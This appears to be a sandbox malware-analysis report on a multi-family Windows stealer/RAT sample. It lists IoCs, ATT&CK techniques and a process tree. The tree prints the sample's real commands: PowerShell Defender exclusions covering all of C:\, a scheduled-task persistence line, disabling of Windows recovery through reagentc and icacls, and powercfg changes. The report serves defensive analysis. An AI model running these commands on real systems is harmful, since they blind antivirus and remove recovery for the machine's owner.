5e00ff30f23c790fc34eea730b8e42b65f66cd97c75149b251f0020b57877dc9

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v42.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
32	1376	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4308	powershell.exe
5476	powershell.exe
4728	powershell.exe
2508	powershell.exe
1272	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 3 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v42.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
8	takeown.exe
5456	icacls.exe
1988	icacls.exe

Executes dropped EXE 7 IoCs

pid	Process
3624	Win-v43.exe
4660	Win-v42.exe
4928	svchost.exe
5600	svchost.exe
4256	zZFUcCdH.exe
1376	cmd.exe
3084	svchost.exe

Modifies file permissions 1 TTPs 3 IoCs

File and Directory Permissions Modification

T1222

pid	Process
8	takeown.exe
5456	icacls.exe
1988	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe"	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 1 TTPs 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Internet Connection Discovery

T1016.001

flow	ioc
4	api64.ipify.org
16	api64.ipify.org
33	api64.ipify.org
1	api64.ipify.org

Power Settings 1 TTPs 7 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2820	powercfg.exe
6108	powercfg.exe
4124	powercfg.exe
1724	powercfg.exe
4300	powercfg.exe
1696	powercfg.exe
5980	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\System32\Win-v42.exe	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2780 set thread context of 4928	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	138
PID 2780 set thread context of 5600	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	142
PID 2780 set thread context of 1376	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	144
PID 2780 set thread context of 3084	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	145

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\Win-v41.exe	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_vfitzl5k.cuk.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_hf233xsl.um0.psm1	powershell.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_4d2x0vu5.nxo.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_ujlup3l0.r30.ps1	powershell.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4380	cmd.exe
52	cmd.exe
1876	cmd.exe
5428	cmd.exe
2532	cmd.exe
4272	cmd.exe
5724	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
2532	cmd.exe
2428	PING.EXE

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
5724	cmd.exe
4272	cmd.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2428	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2648	schtasks.exe

Suspicious behavior: EnumeratesProcesses 37 IoCs

pid	Process
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
1272	powershell.exe
1272	powershell.exe
4728	powershell.exe
4728	powershell.exe
2508	powershell.exe
2508	powershell.exe
3624	Win-v43.exe
3624	Win-v43.exe
4660	Win-v42.exe
4660	Win-v42.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
4308	powershell.exe
4256	zZFUcCdH.exe
4256	zZFUcCdH.exe
4308	powershell.exe
4256	zZFUcCdH.exe
4256	zZFUcCdH.exe
5476	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1272	powershell.exe
Token: SeIncreaseQuotaPrivilege	1272	powershell.exe
Token: SeSecurityPrivilege	1272	powershell.exe
Token: SeTakeOwnershipPrivilege	1272	powershell.exe
Token: SeLoadDriverPrivilege	1272	powershell.exe
Token: SeSystemProfilePrivilege	1272	powershell.exe
Token: SeSystemtimePrivilege	1272	powershell.exe
Token: SeProfSingleProcessPrivilege	1272	powershell.exe
Token: SeIncBasePriorityPrivilege	1272	powershell.exe
Token: SeCreatePagefilePrivilege	1272	powershell.exe
Token: SeBackupPrivilege	1272	powershell.exe
Token: SeRestorePrivilege	1272	powershell.exe
Token: SeShutdownPrivilege	1272	powershell.exe
Token: SeDebugPrivilege	1272	powershell.exe
Token: SeSystemEnvironmentPrivilege	1272	powershell.exe
Token: SeRemoteShutdownPrivilege	1272	powershell.exe
Token: SeUndockPrivilege	1272	powershell.exe
Token: SeManageVolumePrivilege	1272	powershell.exe
Token: 33	1272	powershell.exe
Token: 34	1272	powershell.exe
Token: 35	1272	powershell.exe
Token: 36	1272	powershell.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeIncreaseQuotaPrivilege	4728	powershell.exe
Token: SeSecurityPrivilege	4728	powershell.exe
Token: SeTakeOwnershipPrivilege	4728	powershell.exe
Token: SeLoadDriverPrivilege	4728	powershell.exe
Token: SeSystemProfilePrivilege	4728	powershell.exe
Token: SeSystemtimePrivilege	4728	powershell.exe
Token: SeProfSingleProcessPrivilege	4728	powershell.exe
Token: SeIncBasePriorityPrivilege	4728	powershell.exe
Token: SeCreatePagefilePrivilege	4728	powershell.exe
Token: SeBackupPrivilege	4728	powershell.exe
Token: SeRestorePrivilege	4728	powershell.exe
Token: SeShutdownPrivilege	4728	powershell.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeSystemEnvironmentPrivilege	4728	powershell.exe
Token: SeRemoteShutdownPrivilege	4728	powershell.exe
Token: SeUndockPrivilege	4728	powershell.exe
Token: SeManageVolumePrivilege	4728	powershell.exe
Token: 33	4728	powershell.exe
Token: 34	4728	powershell.exe
Token: 35	4728	powershell.exe
Token: 36	4728	powershell.exe
Token: SeIncreaseQuotaPrivilege	4728	powershell.exe
Token: SeSecurityPrivilege	4728	powershell.exe
Token: SeTakeOwnershipPrivilege	4728	powershell.exe
Token: SeLoadDriverPrivilege	4728	powershell.exe
Token: SeSystemProfilePrivilege	4728	powershell.exe
Token: SeSystemtimePrivilege	4728	powershell.exe
Token: SeProfSingleProcessPrivilege	4728	powershell.exe
Token: SeIncBasePriorityPrivilege	4728	powershell.exe
Token: SeCreatePagefilePrivilege	4728	powershell.exe
Token: SeBackupPrivilege	4728	powershell.exe
Token: SeRestorePrivilege	4728	powershell.exe
Token: SeShutdownPrivilege	4728	powershell.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeSystemEnvironmentPrivilege	4728	powershell.exe
Token: SeRemoteShutdownPrivilege	4728	powershell.exe
Token: SeUndockPrivilege	4728	powershell.exe
Token: SeManageVolumePrivilege	4728	powershell.exe
Token: 33	4728	powershell.exe
Token: 34	4728	powershell.exe
Token: 35	4728	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1376	cmd.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2780 wrote to memory of 1272	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	89
PID 2780 wrote to memory of 4728	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	92
PID 2780 wrote to memory of 2508	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	94
PID 2780 wrote to memory of 2648	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	96
PID 2780 wrote to memory of 4380	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	98
PID 4380 wrote to memory of 1556	4380	cmd.exe	100
PID 2780 wrote to memory of 52	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	102
PID 52 wrote to memory of 8	52	cmd.exe	104
PID 2780 wrote to memory of 5428	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	105
PID 5428 wrote to memory of 5456	5428	cmd.exe	107
PID 2780 wrote to memory of 1876	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	108
PID 1876 wrote to memory of 1988	1876	cmd.exe	110
PID 2780 wrote to memory of 4300	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	111
PID 2780 wrote to memory of 1696	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	122
PID 2780 wrote to memory of 5980	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	124
PID 2780 wrote to memory of 2820	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	126
PID 2780 wrote to memory of 6108	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	128
PID 2780 wrote to memory of 4124	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	130
PID 2780 wrote to memory of 1724	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	132
PID 2780 wrote to memory of 2532	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	134
PID 2532 wrote to memory of 2428	2532	cmd.exe	136
PID 2780 wrote to memory of 4928	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	138
PID 4272 wrote to memory of 4308	4272	cmd.exe	140
PID 2780 wrote to memory of 5600	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	142
PID 5600 wrote to memory of 4256	5600	svchost.exe	143
PID 2780 wrote to memory of 1376	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	144
PID 2780 wrote to memory of 3084	2780	2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	145
PID 5724 wrote to memory of 5476	5724	cmd.exe	147

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2508
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2648
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C reagentc /disable
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4380
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:1556
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:52
- - C:\Windows\system32\takeown.exe
    takeown /F "C:\Windows\System32\reagentc.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:8
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5428
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5456
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1876
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1988
- C:\Windows\SYSTEM32\powercfg.exe
  powercfg /change monitor-timeout-ac 0
  2⤵
  - Power Settings
  PID:4300
- C:\Windows\SYSTEM32\powercfg.exe
  powercfg /change monitor-timeout-dc 0
  2⤵
  - Power Settings
  PID:1696
- C:\Windows\SYSTEM32\powercfg.exe
  powercfg /change standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:5980
- C:\Windows\SYSTEM32\powercfg.exe
  powercfg /change standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:2820
- C:\Windows\SYSTEM32\powercfg.exe
  powercfg /change hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:6108
- C:\Windows\SYSTEM32\powercfg.exe
  powercfg /change hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:4124
- C:\Windows\SYSTEM32\powercfg.exe
  powercfg /hibernate off
  2⤵
  - Power Settings
  PID:1724
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2532
- - C:\Windows\system32\PING.EXE
    ping -n 1 -w 1000 8.8.8.8
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2428
- C:\Windows\SysWOW64\svchost.exe
  C:\Windows\SysWOW64\svchost.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4928
- C:\Windows\SysWOW64\svchost.exe
  C:\Windows\SysWOW64\svchost.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5600
- - C:\Users\Admin\AppData\Local\Temp\zZFUcCdH.exe
    "C:\Users\Admin\AppData\Local\Temp\zZFUcCdH.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:4256
- C:\Windows\System32\cmd.exe
